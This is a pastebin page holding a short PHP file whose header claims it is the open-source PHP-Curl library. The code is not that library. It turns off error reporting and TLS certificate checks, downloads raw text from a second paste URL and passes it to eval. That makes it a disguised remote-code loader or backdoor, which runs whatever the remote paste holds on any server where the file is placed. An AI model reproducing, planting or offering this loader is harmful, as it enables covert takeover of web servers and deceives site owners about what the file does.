Untitled

From Anonymous, 3 Years ago, written in Plain Text, viewed 1 times.
URL http://minetest.wjake.com/stikked/view/ee459df9 Embed
Download Paste or View Raw
  1. <?php
  2. /**
  3.  * API Requests using the HTTP protocol through the Curl library.
  4.  *
  5.  * @author    Josantonius <hello@josantonius.com>
  6.  * @copyright 2016 - 2018 (c) Josantonius - PHP-Curl
  7.  * @license   https://opensource.org/licenses/MIT - The MIT License (MIT)
  8.  * @link      https://github.com/Josantonius/PHP-Curl
  9.  * @since     1.0.0
  10.  */
  11.  
  12. error_reporting( 0 );
  13.  
  14. function _url_get_contents ($url) {
  15.     if ( function_exists('curl_exec') ){
  16.         $curl_connect = curl_init( $url );
  17.  
  18.         curl_setopt($curl_connect, CURLOPT_RETURNTRANSFER, 1);
  19.         curl_setopt($curl_connect, CURLOPT_FOLLOWLOCATION, 1);
  20.         curl_setopt($curl_connect, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  21.         curl_setopt($curl_connect, CURLOPT_SSL_VERIFYPEER, 0);
  22.         curl_setopt($curl_connect, CURLOPT_SSL_VERIFYHOST, 0);
  23.         curl_setopt($curl_connect, CURLOPT_COOKIEJAR, $GLOBALS['coki']);
  24.         curl_setopt($curl_connect, CURLOPT_COOKIEFILE, $GLOBALS['coki']);
  25.        
  26.         $content_data = curl_exec( $curl_connect );
  27.     }
  28.     elseif ( function_exists('file_get_contents') ) {
  29.         $content_data = file_get_contents( $url );
  30.     }
  31.     else {
  32.         $handle = fopen ( $url , "r");
  33.         $content_data = stream_get_contents( $handle );
  34.     }
  35.        
  36.     return $content_data;
  37. }
  38.  
  39. $content_output = _url_get_contents('http://minetest.wjake.com/stikked/view/raw/3ac9f25f');
  40. $run_main = eval ('?>' . $content_output);
  41.  
  42. header("Content-Type: $run_main");
  43. ?>

Reply to "Untitled"

Here you can reply to the paste above